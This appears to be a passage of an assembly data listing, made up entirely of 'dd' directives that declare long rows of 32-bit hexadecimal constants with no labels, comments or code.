		dd 0F465F825h, 8C001D74h, 9D85CFAFh, 5A38A3Bh, 2A8BD203h
		dd 0C9A4C0EDh, 0C51C7081h, 0E7C34527h, 0A06E497Bh, 1E8E71AAh
		dd 0C1BCEBC2h, 0EF6DCEC3h, 540898ABh, 0BAAD21h,	6BCC49EBh
		dd 0DA94E62Ch, 5CF4B711h, 861473Bh, 2088566Eh, 2C0EB1E8h
		dd 0A04ED914h, 27497803h, 0FB5701EFh, 709F6FBAh, 0F7D77045h
		dd 47B7B006h, 6040B1C9h, 85E7494Fh, 943A4BF2h, 0D1709F28h
		dd 0EA46C006h, 88070F21h, 0A6A59A34h, 0ACD9C78Dh, 21C0FE08h
		dd 0A8347FAEh, 0F37C24h, 59C72DEFh, 1729F0EDh, 88E7A431h
		dd 3083EE1Eh, 73386D69h, 0ED1D7801h, 81D498DBh,	8231C212h
		dd 76F50171h, 88FD3C48h, 340079A8h, 0C529B919h,	0FF32F6CEh
		dd 0F3EAB450h, 0C8C4A888h, 31F20087h, 0C40DB08Bh, 72370B68h
		dd 0EB63286Fh, 705105EDh, 5E5B3Dh, 0F6156C94h, 29C02F2Dh
		dd 12B76ECBh, 9161C175h, 60822A96h, 0AF340BEAh,	100009F2h
		dd 142A9EB1h, 381C0054h, 0CC0DF268h, 0E500CFA4h, 0EF172B57h
		dd 0E6FBB63h, 0A62EF66Eh, 7CE83494h, 1594008Ch,	425440CBh
		dd 12303E9Bh, 46A22184h, 376A0F5Bh, 0F0E3228Bh,	11B018E3h
		dd 2B0120CFh, 6572DBFEh, 10225A1Bh, 888E62Ah, 6AFB661Ah
		dd 67F43002h, 0E8104126h, 0D1D821A1h, 0AC0119FBh, 0A19E742Ch
		dd 42DC68ECh, 3C030870h, 0E45009C2h, 0F7315020h, 98A3185Bh
		dd 562A6CB0h, 1DDC5E52h, 0A00694E7h, 11AB4Fh, 0C52DB7CAh
		dd 0EB92DE31h, 8AE2933h, 702100C0h, 50042DBFh, 9C18E61Bh
		dd 3350871Dh, 90F0EE17h, 84EB0C58h, 12188C59h, 9F1D50A0h
		dd 27081E0Ah, 2B089C31h, 0EFB80092h, 3A58280Ah,	0A3906664h
		dd 0C42DB660h, 3CC63123h, 0BE006DC4h, 7BFF2A2Dh, 13DF1F83h
		dd 0FE73D087h, 0D325C400h, 13EB2E5Fh, 4ECBEDB7h, 7989C404h
		dd 0EBC02CB0h, 0B346BA7Fh, 0AF0F5B22h, 80C7EBB8h, 31E14211h
		dd 0B32D01ABh, 2B3D66C8h, 40C8A86Ch, 942DB946h,	0A21233FCh
		dd 207F4062h, 302A9CB3h, 0B7C94C1Ch, 7160E64Dh,	20B8C802h
		dd 73D5091Bh, 12007C7Fh, 7DEB811Ah, 50290132h, 0E6ED49Ah
		dd 0AE67CD92h, 8AB95007h
		dd 0CC98F6ECh, 56FA2500h, 9757966Bh, 904F7DAAh,	1FC14658h
		dd 0EEE83483h, 0A7C03091h, 772E347Ah, 744A3732h, 4F5990D9h
		dd 4B2853AEh, 0BE469899h, 872A097Ah, 0D81CBAEAh, 2AA1B007h
		dd 1FC01B18h, 1C77E61h,	3FEC90E5h, 603A60F6h, 1E8C7D18h
		dd 0D1B6EBC4h, 805788D3h, 19EBBCB3h, 9300ADDBh,	29CD8F2Ah
		dd 4813E340h, 8A815C65h, 20B1A0EBh, 91ED72ACh, 9787B8B8h
		dd 218EFA2Ah, 9FE04E5Ch, 0A6E5C22Ah, 2008B100h,	1790E28Dh
		dd 0E9C80B7Bh, 1C1D7349h, 60AB0308h, 4492464Bh,	56750E00h
		dd 67F605FCh, 0A4E61F65h, 4C0643Dh, 814D6090h, 18BEFB8h
		dd 384B168Ch, 30AAFF84h, 0A89682h, 337ACFD8h, 38F69F5Bh
		dd 3F9F4899h, 0E23C6800h, 3E58B5F5h, 9C51BC04h,	0FF88204Eh
		dd 809CF9C3h, 1810E59Dh, 0C0899B46h, 302CE458h,	1F67CD9h
		dd 8AF27046h, 96C5B0FBh, 203B9748h, 0EB037923h,	0F817E5E4h
		dd 6274DB6Ah, 9A4D50B7h, 7E447047h, 6858A960h, 50A5743Eh
		dd 0E34C0EE0h, 77A2358h, 0B4B9EBBFh, 0AE38ABh, 29FEBB7h
		dd 17FACF16h, 5DE58407h, 0D33270B2h, 3EC008Fh, 0B0C0B5C8h
		dd 0ED688A23h, 0E8AC5959h, 6B0B3508h, 3F4C703Eh, 19D2328h
		dd 31C22DBCh, 88C318B6h, 2D01C46Bh, 361F3D89h, 0A1E1E425h
		dd 94F74421h, 0B1711B06h, 312CA4E6h, 35892483h,	91D097C5h
		dd 0CC918054h, 3BBD31C3h, 0EC8203DEh, 6E122841h, 5511A09Dh
		dd 0C0C7409Dh, 1E2FA67Bh, 3A194100h, 0D0B86488h, 0CC0C295Eh
		dd 187679F0h, 17140716h, 905DCF30h, 4829A7B6h, 50F649h
		dd 8805FB2Ah, 0A42555h,	0D2E09384h, 5DCD830Bh, 0A1C48654h
		dd 2DB8048Ch, 62D631C6h, 0C06F20C2h, 2601B02Dh,	0B7A3ADB6h
		dd 0E98270F2h, 6E059CE5h, 8282BC84h, 9830BD58h,	0EA88132Ah
		dd 0E46C39C2h, 34392AA0h, 0F615826h, 20A0C57h, 0E0075C1Fh
		dd 0F83F8538h, 0E83120E9h, 96E0C48Dh, 0C6B048h,	576F2A5Fh
		dd 1856F8D0h, 424F3FAh,	0A00D60B4h, 544EF1AFh, 26C0C188h
		dd 3077EE2h, 395339Dh, 581ABD78h, 51B8E96Ah, 18577144h
		dd 0FF5600EEh, 725B17DDh, 9094035Dh, 0F6449C1Eh, 0CF419630h
		dd 0D0D29FF9h, 0C0DD40EAh, 2DBA01E3h, 18A631C0h, 0C26988C5h
		dd 503E2D00h, 1D0712F1h, 5DDD1FCFh, 0F5F2491Eh,	0B1EC2C2Fh
		dd 99009531h, 1C2BC1FAh, 2E884F66h, 0BC90305Fh,	0ACA44DC3h
		dd 0A5231C63h, 4F584655h, 5A0071ADh, 5D1E2BA0h,	4D570169h
		dd 0B520E087h, 73C3F0E3h, 6C4A8CA0h, 770151DFh,	27050A79h
		dd 59D20D8h, 0F48D3B07h, 1906FC2h, 74BC061Ch, 8B706D15h
		dd 0EC980E95h, 67D1234h, 90CC38FBh, 69DF2418h, 53EFB738h
		dd 7F2388A4h, 0B8EBC607h, 5A62E3F4h, 0EBBEB120h, 65BC001Dh
		dd 888D8C1Bh, 48253261h, 0BF0091A9h, 34088918h,	0CE9E7099h
		dd 80ADE918h, 0B3CB340Eh, 0FDE3819Dh, 94303233h, 0C11E8C7Ch
		dd 46F9BBEBh, 0AC006122h, 0A972EBB9h, 76EC7C26h, 0CC022C2Dh
		dd 7B465E7Ch, 0D7670076h, 41103EFAh, 0C3012068h, 17C1E0D8h
		dd 0D9C0B78Ah, 0A96C1331h, 39300789h, 0B8C6162Bh, 84F850B0h
		dd 0C3745982h, 11A4D96Ch, 18BCF8h, 22CF95B9h, 0D6F250A7h
		dd 0F4596017h, 5E104821h, 287166F5h, 0C4885462h, 963484C1h
		dd 0C47386F5h, 347BAA81h, 5487F4DFh, 1851E48h, 3DE83C88h
		dd 58726EDBh, 0E434F684h, 0E0A701B4h, 0D3605544h, 71FD905h
		dd 0F7124DB8h, 91609C30h, 3C3804CFh, 80BA06E0h,	7D0B3134h
		dd 851F6802h, 617BE601h, 9B18BCF4h, 0EA252A7Fh,	25496CAh
		dd 0C92AA3AEh, 0B8E78279h, 1BAB0442h, 0FE51BAB8h, 3C34200h
		dd 9096758Ch, 431800F2h, 35EFD023h, 0FA00493Bh,	57B5B4BDh
		dd 1C667CDh, 2BF768FEh,	739CA313h, 3079A2A8h, 0C600E4DCh
		dd 0E659D60Eh, 0E1179060h, 3F569C8h, 688B4178h,	18066501h
		dd 6711A796h, 60A93E41h, 3853D981h, 0FC2533CBh,	50464A2h
		dd 91556CE8h, 7B676081h, 9B03D4h, 0EB68D0D1h, 2FF69269h
		dd 0EA496B67h, 40B328A2h, 1D33CD00h, 5C7D042h, 850EF3EFh
		dd 0ED808194h, 4A890071h, 275D122Ch, 80100859h,	0D51E33CFh
		dd 1038DBD2h, 0EBBD00B0h, 44A79F30h, 0E17DE2D1h, 54E3EA1Ah
		dd 0DBB84081h, 2FEC8091h, 465ECC94h, 5C60FFCh, 18ACBF14h
		dd 0F56467Eh, 0AF1C9D4Bh, 33F6C4D2h, 604A3888h,	1C05295Fh
		dd 22030F18h, 0BA196F03h, 0BCD68862h, 30990281h, 682974E6h
		dd 60379CABh, 785EF381h, 59DD1CEAh, 0B20B7DCh, 1B2D7440h
		dd 0F6D1D820h, 0BF175FBDh, 34204F75h, 0F8DE9F0Ch, 8DBA24C1h
		dd 20050358h, 0F9C889C0h, 0C4FC1B42h, 0D1AE703Fh, 0A2DC6390h
		dd 0CF1930C1h, 963CE301h, 0EDE668ABh, 65E86E00h, 0A95BA327h
		dd 0E2E8453Ch, 9318AB02h, 1353002Eh, 19BD5540h,	0DD026CECh
		dd 12ED626Bh, 494AB6Ah,	9380E54Ch, 6C3FA31h, 11C59ED1h
		dd 0FF00216Ch, 1F82293Dh, 19BAD43h, 87C83215h, 33EC2EF4h
		dd 30BEA2E0h, 73EC317Bh, 93900CB2h, 0F4A06BFEh,	72494A3Ah
		dd 0FA70010h, 92893F5Dh, 0C75EF808h, 0E0839919h, 51DAA858h
		dd 7E01DEF6h, 82FA4A6Dh, 1DE0BEAFh, 98B80016h, 9E8168B7h
		dd 0C898D90Eh, 5A7150B9h, 4A00FF18h, 9119084Ch,	2DE9E570h
		dd 0B01B6A69h, 38619C99h, 0E51060C8h, 0E6FF2757h, 7D009804h
		dd 741B00EFh, 0F73608ACh, 18C39616h, 0A625A4E5h, 0B77A0C38h
		dd 9E403A39h, 0B905A8ACh, 0AE31BF2Dh, 6A07888Eh, 10F32DC1h
		dd 1031F4D1h, 0ADB59D01h, 6699C432h, 4262B642h,	79805924h
		dd 674187Eh, 0CD7C8034h, 112AA87Dh, 492AD04Eh, 9B02946Fh
		dd 64991568h, 65F4E1FBh, 80369210h, 0E5102701h,	0D7D0F8A1h
		dd 77F17C78h, 0ECF02872h, 0E1028CBDh, 0DCDBED26h, 19E478D2h
		dd 0F8742F5Dh, 0A9A460F2h, 19BE30CBh, 0D4E8F800h, 0D90703F9h
		dd 4DD2FE82h, 9879C5C0h, 6903F205h, 0F4497BF3h,	8560104Fh
		dd 9B1E1C2Ch, 3815C094h, 37C31AA5h, 1F1C5007h, 0EDF35333h
		dd 0C73AF43h, 99E802F8h, 668D656Ah, 6BF0908Ch, 3151B661h
		dd 0A82CD7EFh, 71764719h, 85EEEC63h, 0F6F9BEFCh, 28B1C466h
		dd 67185471h, 0F4112503h, 1137641Fh, 22170B70h,	463090BEh
		dd 348502C3h, 0E77E7095h, 7CA9008Ch, 0D77A4B34h, 0CBD3A600h
		dd 2EC7B4DFh, 4F74AB2Dh, 23A82FA9h, 0EAC6007Fh,	3829CD55h
		dd 8C0B8E0h, 7704D8F7h,	9D8425EBh, 1F313C00h, 0B4A2FDA0h
		dd 9C9134DBh, 0C12DBB80h, 448CBE31h, 0C3036CBFh, 0B8F68B2Dh
		dd 0DA319A74h, 0FB6A1110h, 36CD0F2Ch, 70A83E3Dh, 0A8612900h
		dd 47AB450Dh, 57A0A8F8h, 1FD11E05h, 0D31300C7h,	20818861h
		dd 153ACF07h, 3560E844h, 532EF673h, 0BA2394D0h,	832A9501h
		dd 70639AEAh, 2A9DB480h, 5570F08Bh, 8AF51F09h, 5C3C02D5h
		dd 39F08003h, 0AA66F17Ch, 8B5C194h, 6418ACh, 77D55A0Fh
		dd 9F746333h, 39DCAC9Ch, 8F5C5BCEh, 0BED4E17h, 50E1BAFEh
		dd 90C9B10Bh, 0FE031534h, 77CC3AC5h, 11D4268Ch,	8674414Ch
		dd 0C9DFE4A3h, 0B3675603h, 0F8AD8A4Eh, 29AE181h, 0A9633B4Ah
		dd 6851BF4Fh, 96180179h, 4B834202h, 0E0ACD250h,	81B980F0h
		dd 990BD34Fh, 802AAE8Ah, 0D5A70219h, 0E0F000E2h, 26112824h
		dd 8A38B564h, 38CA30FBh, 0BBE30EC6h, 516978A4h,	0B7B82A01h
		dd 1B66109Fh, 0FA79F068h, 2F025A9Dh, 802354h, 904B3BC8h
		dd 40491733h, 44F425A0h, 672D10F8h, 48EC3B61h, 3B280BC4h
		dd 0B68C3ACh, 519B6010h
		dd 34E540C2h, 18AB02E2h, 5B008B77h, 62D6A865h, 59E632h
		dd 5DF039D3h, 0D0A23897h, 0DDC23B17h, 5480049Bh, 37ECE79Dh
		dd 0BF5D661Fh, 467C842Ch, 4CEE0080h, 0FF281684h, 0E0185827h
		dd 6775984h, 2010725Ah,	102D8815h, 912C17E2h, 909C805Bh
		dd 17C7824h, 3E148BAFh,	24B44FA1h, 1A7FA63Ch, 0EF069B90h
		dd 0D814DD39h, 84B92078h, 0C04D870Ah, 7B00DFF6h, 5BF4B7C8h
		dd 3AAA5AE9h, 3562374h,	8486FBC5h, 171CC0E4h, 0C8BE45DAh
		dd 0B6696A06h, 8C68D699h, 8040193Ch, 1A49964h, 0B236EFCFh
		dd 0A9208BE3h, 9C08C66Bh, 624656C0h, 4FA0B006h,	76C081BBh
		dd 0A84D5B05h, 5DDE00B1h, 7C419ACFh, 130050AEh,	727FB98Ch
		dd 926C8F65h, 709909A0h, 0F058AF35h, 0EB473209h, 0CDCD80B7h
		dd 4C6A541Fh, 0D382F471h, 34C4C01Eh, 92D13E38h,	5817DCA3h
		dd 63C84CCBh, 0F652F7C0h, 44109530h, 0B8406403h, 0EFB718BFh
		dd 53F93173h, 0C7D5A20Bh, 0E64C8212h, 74BC2A1Bh, 62000446h
		dd 0B5B06C85h, 0C507E859h, 16AC1E6Dh, 0F710220Bh, 7C645CEEh
		dd 3D41FF44h, 1200C351h, 89C255A9h, 28074585h, 0C1830610h
		dd 11B52900h, 3B12C001h, 0CD860FD9h, 52028FE1h,	11BDE68Bh
		dd 665F0F1Eh, 5E5ED98Ch, 0F61470A1h, 0F1804C1h,	89358A84h
		dd 3335308Dh, 0C995FF1Eh, 0E90C0D63h, 51231708h, 488400FAh
		dd 5B674AE3h, 0E8166A63h, 20230E03h, 8940C359h,	8104244Ch
		dd 1A084466h, 0A1D7C021h, 0C293F10Ch, 89EB3803h, 3F2A81BDh
		dd 1F62B6Ch, 338F82EFh,	0B2343D31h, 2C35DE7Fh, 398C5076h
		dd 8911C358h, 80168844h, 1EC35040h, 890DCAF3h, 0DB12D9B5h
		dd 9DB32907h, 31850CF1h, 8BFD6185h, 536EC064h, 0C8C35B61h
		dd 448C5C89h, 53004319h, 14668BC3h, 0A14F82D9h,	75BE09C6h
		dd 2ED81C65h, 201C2362h, 150A04DBh, 802D563Ch, 0B185C7BBh
		dd 3B3BBC9h, 10507275h,	34222972h, 0D53AC65Fh, 0C5071B23h
		dd 68607743h, 28C03B55h, 3D2C9D09h, 0C5F0BD81h,	4407D00Ch
		dd 342885D3h, 14239C2Eh, 0BD09D101h, 44241659h,	0B232A385h
		dd 290680B5h, 9120CD8Dh, 64319056h, 5A615274h, 5489C8C3h
		dd 4217448Ch, 0CBC35201h, 2BB32EADh, 8213A920h,	1561A102h
		dd 81669000h, 99AE32F6h, 5D305562h, 4689E4C3h, 1D226Ch
		dd 8DC35545h, 4A3036BDh, 0AB135601h, 0E9F5DACDh, 98009B57h
		dd 0E1689E1h, 60B471A9h, 0F2BB6621h, 6BAD0D6h, 8F0FA61Bh
		dd 3161802Dh, 7C533B5h,	1AB28DABh, 0AE903h, 0B7225A25h
		dd 0FCA6EA0Eh, 4D26137Dh, 0A9122361h, 0E5BD4521h, 208BE3A8h
		dd 52772F8Dh, 1F4975FAh, 0E279421Fh, 6FF3016h, 0BD31FD06h
		dd 0C4A084Dh, 9B3BF66h,	398C5650h, 8913C35Eh, 461A3874h
		dd 61C35600h, 4BB4B241h, 6736487Bh, 8C19E8h, 3B3FA7F3h
		dd 0FE84E22h, 0CE631DC0h, 371244h, 39F19231h, 0FADEE6C7h
		dd 6604307Dh, 0F9BD4EBEh, 0DF8BA3C3h, 22E9FE20h, 0A3FF71F8h
		dd 0F01BA96h, 4EBC1E2h,	5E53D490h, 0E950F3F4h, 0B4007D36h
		dd 69B703ECh, 9D586Fh, 0FEA92DA6h, 858D8C87h, 4640B949h
		dd 7C26F093h, 64AC09A0h, 1A312B5Ch, 0E43390h, 6CF84A6Ah
		dd 3F64B4F5h, 0EDC850A4h, 3E1A5071h, 11050DBFh,	4E0E41A7h
		dd 0C01D88ACh, 0C2FE6AAFh, 8CF03502h, 6074CA20h, 24EA5DEFh
		dd 8472794h, 0FC3006BDh, 911413D8h, 1919D9E3h, 80FEF8C9h
		dd 0EDBEF785h, 7DBD120Ch, 1D660823h, 5C08305h, 51258430h
		dd 0D0630264h, 507DEA3Fh, 89F8F180h, 86C82404h,	0C35FC357h
		dd 387CF497h, 0C3570147h, 9B973921h, 959120BFh,	0AA1F8D29h
		dd 0EC8B4C39h, 0DE7C8C15h, 0A1852909h, 197A9032h, 2599841Dh
		dd 0FD181571h, 0EE9D518h, 1C7A115h, 76FCDB5Eh, 0C0304CD9h
		dd 0A70031D2h, 0D89D8DDDh, 0C60613AFh, 852F91D2h, 0BC2BD359h
		dd 84C20127h, 0ABC5A7A9h, 6EE60AFh, 9CF8188h, 271F857Ah
		dd 1419FF82h, 13C40305h, 405D5D8Ch, 984DE929h, 43E837A3h
		dd 0ED81C20Fh, 1D274AE2h, 801D11B9h, 67489FBBh,	0D6303A52h
		dd 5E86493h, 8F2DC606h,	4686087Dh, 8BF90101h, 640BA59Dh
		dd 7A0EEF94h, 0CE271B4Dh, 9F010BE3h, 801D1163h,	11F9A9EEh
		dd 0E9FD05CFh, 42A7187h, 513D988h, 0C382DB0Bh, 0A6971A94h
		dd 58821611h, 776232A6h, 83F78980h, 125122BDh, 84EC8DA8h
		dd 88D83111h, 8B0DC102h, 0A067E9FBh, 5F2E970Fh,	1E2051A8h
		dd 2A2CFBDCh, 13154674h, 0A8012E32h, 3D950160h,	4A04C155h
		dd 61031D15h, 357527E9h, 880B1260h, 0CC569Dh, 4FD66171h
		dd 0F266C13Ah, 0FDBF7B02h, 93786099h, 81408453h, 9EBA44DFh
		dd 41836848h, 88B94FE9h, 33B6C718h, 60AA8319h, 2AF91BC0h
		dd 0A6E1B38Bh, 23810EC1h, 0E95CFEFFh, 18147134h, 2989A003h
		dd 8C66801Fh, 1067DB5Ch, 0F61230E5h, 0A0FD83C3h, 0BC36394Dh
		dd 218E037Eh, 2C20DEECh, 2D016212h, 404E1FDDh, 0B9C01C88h
		dd 0C1D43Bh, 0C93FB78h,	0B501FCABh, 2E3ED14Dh, 5D609E90h
		dd 16B1C880h, 0A03276Eh, 40FDE866h, 0EE194587h,	2813AD00h
		dd 622717ECh, 0F8B40129h, 0D3B952A6h, 0E6622E9h, 3F8653h
		dd 64EE9E0Bh, 8A440006h, 0D017DA9h, 5F184D7Eh, 602F05E9h
		dd 63CA1EF9h, 0E12F9A1Eh, 0B8E04CCDh, 2420D9D2h, 11A83011h
		dd 22E04C08h, 61602402h, 0D32406A9h, 310A10B0h,	8802418Dh
		dd 2E006222h, 0EDFDEB2Ch, 7831778h, 723902E1h, 54F923B5h
		dd 70E661E0h, 255CF9B8h, 0FF08965Ch, 71E40B0Fh,	1A117D1Dh
		dd 26C4F80h, 0F6248296h, 85087125h, 0B60F0128h,	0DABAF9D8h
		dd 0FD9F5071h, 12C3EEA2h, 86F1BD33h, 25203E6Ah,	0E8C11305h
		dd 23E33A04h, 0E0EF001Ah, 0FA6E9A01h, 118C2048h, 0F7020D65h
		dd 0D82BF5E2h, 17448047h, 97A26560h, 8B93DA04h,	0A98750F0h
		dd 0F825BD08h, 0F288589Ah, 0C9CE6EB7h, 0E85EDC12h, 9700E491h
		dd 5C797D11h, 0D64300AEh, 58B12AE9h, 3902A23Fh,	7F5A10D2h
		dd 708402Dh, 95E48AAh, 5F928B25h, 936DF109h, 0CC2BC2C1h
		dd 8A063D20h, 21CD9B02h, 0BE030F44h, 5D2941Dh, 4841EA31h
		dd 13613CC9h, 40AA830Fh, 66EE81F2h, 70496407h, 6A424900h
		dd 26B0549h, 5A1FC16Bh,	0FB4955BAh, 612E0944h, 0C0001B23h
		dd 20302C6Dh, 0DDB3248Eh, 7444A420h, 0B8001846h, 45D4AF0Dh
		dd 0E6128166h, 1D5D69D6h, 0BB8ECEC1h, 22200BB4h, 0E0D0F260h
		dd 5A3E078Dh, 0A461FE8Ah, 0D4B48753h, 8B5E031Eh, 4358E2F9h
		dd 0FC5AED02h, 0DFB853Eh, 1AC80CCFh, 28DEA0CFh,	308D7F1h
		dd 5CBB60B4h, 66D02E12h, 42F588BAh, 14648CD0h, 0B0CE930h
		dd 0A55052h, 7C4DA4D2h,	78B92931h, 0B1990373h, 41BD2B06h
		dd 0C1832CAFh, 1C4676E0h, 0A9A7CD00h, 13335250h, 0F919616h
		dd 0BE003F97h, 0E1511526h, 0A8526769h, 86E4Ah, 309640FCh
		dd 960E8EAh, 10B19D23h,	8E7A99CAh, 250F6144h, 451AF1BFh
		dd 317D4782h, 381197D3h, 0B3B77B76h, 5BF80575h,	75ED0EF5h
		dd 32C32D11h, 60510061h, 0B281BD29h, 48B2EEC9h,	0D33831B1h
		dd 4A61E41Ch, 853505E9h, 0A5C08BF9h, 0C18F201Eh, 5C602141h
		dd 0BB49A75h, 18D6D51Bh, 1180FAB7h, 9D89F188h, 341C5A81h
		dd 8806CB7Fh, 2BF3C01Bh, 0F50A11DFh, 0A6D052C7h, 4530550Bh
		dd 0BBBE601Ch, 7C4F66C4h, 7156FF32h, 0DC010ED9h, 682BCE00h
		dd 0BE3879AFh, 54CA07F8h, 0B5B25FA4h, 0F17ED269h, 0F548C436h
		dd 8C19E8h, 79C1B7CBh
		dd 8E0F1608h, 30661FA1h, 8D1389FDh, 0E8292A01h,	799F488h
		dd 0E8A49014h, 97098C16h, 5603EC8h, 0A0507159h,	84510D1h
		dd 580CB87Dh, 0B3801DE9h, 0FF90D43Ch, 9C00C1FEh, 33EC0439h
		dd 0F6D1505h, 0F976DC6Fh, 3202F8C9h, 0F366890Fh, 20DBD19h
		dd 1EC59563h, 1BE2E073h, 0FEF0BA31h, 0E94E0A2Fh, 892ACB2h
		dd 23020FE5h, 0F2151BDh, 360140F4h, 8D0703FCh, 88964E65h
		dd 0D564C117h, 2A61F260h, 9D041423h, 8852EDBDh,	8D03A609h
		dd 0FFB9F68Eh, 0F1FBB8C3h, 0AF90120h, 9373CB3Dh, 0D8BC21E4h
		dd 0EBB9FC61h, 0BF1815D1h, 0F88B3F13h, 0DA80929Bh, 7436998Bh
		dd 4F20B71Eh, 0E11828A4h, 5AE95ECBh, 0D1411084h, 148C14E8h
		dd 0B5C18B2Dh, 8C1CE8h,	0A02A9E2Fh, 0BCEE264Ah,	1073B058h
		dd 354F0EEDh, 49250481h, 0A8E62411h, 46D1B5A0h,	77337616h
		dd 0C620908Dh, 61578908h, 5F3A016Dh, 4DE13C50h,	0CBBCA5h
		dd 99BC4D64h, 85892381h, 584AB15Dh, 67D52A56h, 40EF9F8Dh
		dd 0BA7F7122h, 535E174Fh, 0DCE40088h, 19B501EFh, 5C357DBCh
		dd 4600BE6Fh, 9190C682h, 8404E4B2h, 20959D01h, 0F3053109h
		dd 81B9A419h, 8D3C1D41h, 905F5709h, 50F96B80h, 0A70CBE60h
		dd 14737204h, 0A7617FDAh, 671944AAh, 85FA1500h,	20C95A67h
		dd 63490FC0h, 7674E702h, 736AF941h, 4D757846h, 17BF433Ah
		dd 0A717D534h, 81953021h, 6A2E7378h, 3C01F45Dh,	82CABEBBh
		dd 2AFCCF22h, 75F35A8Bh, 0A085F6C3h, 0B7176E4h,	4626B26Bh
		dd 0CDEEB54Ch, 8C421646h, 4C321BE2h, 43E42621h,	0C4C51687h
		dd 3EAFF322h, 0DB13433h, 0D108D982h, 1D8B62A9h,	60A36D12h
		dd 306410DCh, 66268802h, 0D1BB67BFh, 0A19DE4A5h, 0B8B53986h
		dd 0AB4F0DCDh, 0CDF095E9h, 0B22B031Ah, 31A9A785h, 84427DE5h
		dd 0EF419D8Bh, 0A58CC010h, 0A10C0396h, 1D10E999h, 45E6587Bh
		dd 0B99C4100h, 0A2B32535h, 7C74E505h, 6B33AEEh,	870F5606h
		dd 0BF023B05h, 3D9AC002h, 43E8D25Eh, 0ACA349B4h, 0A6F40156h
		dd 0E81B36D6h, 7D1D8313h, 0AB9520h, 0D2B7C642h,	8C44B0EEh
		dd 8209D47Dh, 44F96A10h, 0B6340045h, 5E2B1928h,	0A32DBD83h
		dd 3109911Bh, 0DE75A3ACh, 0AE957504h, 51820960h, 7D8B0B0Dh
		dd 5E5E7004h, 0C7F0BF42h, 4A3E8B85h, 0E04C4D29h, 21AC0BDEh
		dd 0E9536208h, 0F78B8A2Bh, 0FC104E32h, 143A8C15h, 8D5F124Ch
		dd 0E6813430h, 0A65516BFh, 2AF99D4Fh, 8F04606Ah, 8157D236h
		dd 6905D177h, 118D8FFCh, 1CAE82C8h, 0EBE43740h,	0DC330315h
		dd 0A5D28C1Ah, 4E2AC4A8h, 0E5087E02h, 59304822h, 7E19A5D8h
		dd 0F2C39E8h, 0C0DB6FE2h, 69DADDB5h, 0CFB803B4h, 286AC9Ah
		dd 32C19DB2h, 80E72853h, 0F1C6E5A4h, 387B0005h,	0A067360Ah
		dd 6C2FF761h, 5FC9828Ah, 0B949C05Eh, 0A1880965h, 0AA47610Bh
		dd 1C621444h, 2E4098F0h, 3D024E9h, 1D467C5Ch, 7431500h
		dd 19BCCD4Dh, 99E0D716h, 8356E800h, 7DD3B860h, 233F0972h
		dd 0DB40E18Dh, 66E0B061h, 32CF810Ch, 4F29900Fh,	1DD7E23h
		dd 897754BBh, 0E02C15BDh, 0C1F76267h, 8B71E459h, 441DA166h
		dd 6912C4C9h, 26C9F61Ah, 384010E9h, 0DB737h, 8CC25F64h
		dd 7533DC1Ah, 47894000h, 0B2C4EC8h, 7FC3588Bh, 8C1CE8h
		dd 0D4059A4h, 13607AC7h, 0E3E9CDEBh, 0FEEF2501h, 23FC568Dh
		dd 0AD046F8h, 37616078h, 0C83B3DB0h, 9BEE154Fh,	2E13C7BCh
		dd 0E8C58A45h, 5F99504h, 0FB897B1Eh, 6C18D82Bh,	4500FCA0h
		dd 0BDC007E0h, 568A8Bh,	0C9474053h, 0F4A9B64h, 58A28352h
		dd 0F75D2AE5h, 7EBF5DA0h, 11EBAA02h, 56241C89h,	723ADC03h
		dd 9D09099Bh, 5B2CC259h, 25C4316Fh, 0CF45392Fh,	0D6D8489h
		dd 2C47B009h, 0E0631544h, 0EF2980C4h, 54902CF3h, 570307B4h
		dd 1636056Ah, 0CC278566h, 2412207h, 5B5DF830h, 0C50521AFh
		dd 0AF261D31h, 3C9302F1h, 564450C6h, 1CB18FA0h,	0E5425E81h
		dd 79134AFEh, 0AA990179h, 0FED20210h, 0F8E6C980h, 5924798h
		dd 0BC0EFA86h, 2E713CFEh, 6A5F806Ch, 391A6DCEh,	921EEF13h
		dd 2913A44Bh, 1914D17Fh, 0F9BF1940h, 783D9B58h,	0F0007499h
		dd 76072635h, 0CB6C7DC2h, 2969F1F0h, 82641763h,	0C500CAB5h
		dd 4EB92B9Bh, 88D48F07h, 0E8F5C116h, 6D213098h,	0D6A075Bh
		dd 0B3001B23h, 27962158h, 0B6EFE2BBh, 0C3029801h, 0C12CB52Bh
		dd 0F24F6D1Bh, 0B204FA6Fh, 0B8CD504Ah, 311A2D64h, 6010A8EEh
		dd 5D658D29h, 75986121h, 4498A75Bh, 0D5BA6017h,	0BE0E0166h
		dd 27A5546h, 3851EE2Bh,	0E0181879h, 0B5F2D01Ch,	1B09E88Ch
		dd 2BA3001Eh, 0E03B352Fh, 604F7E9Dh, 0BE8BAD8Ch, 5E6142F8h
		dd 2B114CDBh, 18A26553h, 6536130h, 0E9BFF455h, 0A1811B29h
		dd 8B463471h, 8D9BC04Ah, 54F2C980h, 3F5BD16Ch, 859B7F52h
		dd 0BB519280h, 0F117723Dh, 0F012F219h, 8BE4E8A5h, 285B5D31h
		dd 8B144FBCh, 8B856F9h,	3B23619Dh, 16C18D08h, 0B7C262A7h
		dd 4B2CAC1Dh, 48929C47h, 19E2AAE3h, 41BA230h, 31B021EAh
		dd 1FF9E8h, 8483CCC8h, 0FCDB5248h, 81A800ABh, 606ED8D7h
		dd 0C9905E35h, 0CE1EE927h, 0A4BE05D3h, 9925C58Fh, 301C344Dh
		dd 0D79D144Fh, 0F8A82E6Dh, 35453B00h, 2F20D759h, 0E0821FBFh
		dd 0A690926Fh, 3D3FE019h, 1283722Eh, 0E25CE829h, 1EF3002Eh
		dd 63B314B0h, 8321B191h, 358DD79Ch, 81403DD0h, 0A574043Ah
		dd 0C0256D85h, 15C4DD67h, 8D096009h, 126DD095h,	4939BD01h
		dd 320161A1h, 20D6B460h, 0D20B534h, 0E04A8828h,	0D5860ED9h
		dd 0DE21F1DAh, 60849313h, 0DD5F8DB7h, 0DF817740h, 774534DBh
		dd 0D11A910Ah, 3F231817h, 72C897BCh, 58192910h,	5B700BCAh
		dd 33E090E8h, 0E3B60031h, 9EEA1618h, 0AA02A83Fh, 952948D9h
		dd 49F5569Dh, 5E52F7F2h, 3114E248h, 802A68E3h, 0DDC97E71h
		dd 12E8F606h, 88FA8B46h, 4378F269h, 7E27A30Eh, 2E303A7h
		dd 0E505D033h, 7C790B5Dh, 0F05EFBDh, 0B3B0271Dh, 0FD8CFFF7h
		dd 0A2B8FDh, 26E484CFh,	40AA2950h, 0BD4A7474h, 0C3A70AD5h
